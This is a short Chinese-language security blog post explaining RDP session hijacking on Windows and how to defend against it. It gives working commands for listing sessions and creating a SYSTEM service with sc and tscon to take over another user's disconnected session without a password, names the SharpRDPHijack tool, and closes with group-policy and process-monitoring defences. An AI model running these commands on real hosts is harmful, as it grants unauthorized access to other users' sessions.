RDP会话劫持与防御

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

img

攻击者利用 Windows RDP协议接管以前断开的会话,并以合法用户身份出现以获得系统访问与控制。

RDP 劫持简要

在目标系统上获得了本地管理员访问权限,可以在不知道其他用户登录凭据的情况下,攻击者就有可能劫持另一个用户的 RDP 会话。

默认使用 tscon 或任务管理器中进行切换用户,会被要求输入密码。在没有凭据的情况下,无法进行切换会话。

img

利用过程-服务

  • query userquserqwinsta 查看会话ID。
img
  • 创建一个使用系统级权限执行tscon的服务,将劫持ID为2的会话。
1
2
3
4
5
//在注册表和"服务控制管理器"中为服务创建子项和项目。
sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"

//查询服务的配置信息
sc qc rdp
img
  • 当服务启动时,可以在不知道密码的情况下使用”adminx”用户的会话,达到RDP会话劫持。
1
sc start rdp
img

利用过程-工具

  • SharpRDPHijack,C#开发的远程桌面协议(RDP)会话劫持工具,用于连接断开的用户会话。
img

防止 RDP 劫持

  • 强制执行组策略:通过组策略控制远程主机空闲时间自动断开并注销。

运行 > gpedit.msc > 本地计算机 策略 > 计算机配置 > 管理模板 > Windows 组件 > 远程桌面服务 > 远程桌面会话主机 > 会话时间限制

img
  • 启动进程监控 tscon.exe 的使用,并监控在其参数中使用 cmd.exe /kcmd.exe /c 的服务创建,以防止 RDP 会话劫持。

Reference